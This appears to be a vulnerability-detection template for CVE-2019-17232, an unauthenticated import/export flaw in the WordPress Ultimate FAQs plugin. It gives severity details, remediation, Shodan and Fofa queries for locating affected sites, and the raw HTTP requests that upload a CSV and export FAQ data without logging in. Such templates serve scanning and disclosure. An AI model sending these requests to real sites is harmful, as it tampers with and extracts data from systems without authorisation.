| Title | WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated Options Import and Export |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Unauthenticated attackers can import arbitrary FAQs and configuration through CSV upload, potentially injecting malicious content or extracting existing FAQ data from the WordPress site. |
| Remediation | Update the Ultimate FAQs plugin to version 1.8.25 or later. |
| CVSS Score | 7.5 |
| EPSS Score | 0.18233 |
| CVE ID | CVE-2019-17232 |
| CWE ID | CWE-306 |
| Shodan Query | http.html:"/wp-content/plugins/ultimate-faqs" |
| Fofa Query | body="/wp-content/plugins/ultimate-faqs" |
| Tags | cve cve2019 wordpress wp-plugin wp ultimate-faqs unauth intrusive vkev vuln |
Functions/EWD_UFAQ_Import.php in the ultimate-faqs plugin through 1.8.24 for WordPress allows unauthenticated options import.
POST /wp-admin/admin.php?page=EWD-UFAQ-Options&DisplayPage=ImportPosts&Action=EWD_UFAQ_ImportFaqsFromSpreadsheet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.5 Safari/537.36
Connection: close
Content-Length: 343
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary34ZHf69LbDjZlcL5
Accept-Encoding: gzip
------WebKitFormBoundary34ZHf69LbDjZlcL5
Content-Disposition: form-data; name="FAQs_Spreadsheet"; filename="eOeSASYY.csv"
Content-Type: application/csv
"Question","Answer","Categories","Tags","Post Date"
"38FXbcgY00bxEHuHF6O6rvR827h","38fxbcgy00bxehuhf6o6rvr827h","","","2025-09-17 17:16:33"
------WebKitFormBoundary34ZHf69LbDjZlcL5--
GET /wp-admin/admin.php?Action=EWD_UFAQ_ExportToSpreadsheet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2
Connection: close
Accept-Encoding: gzip
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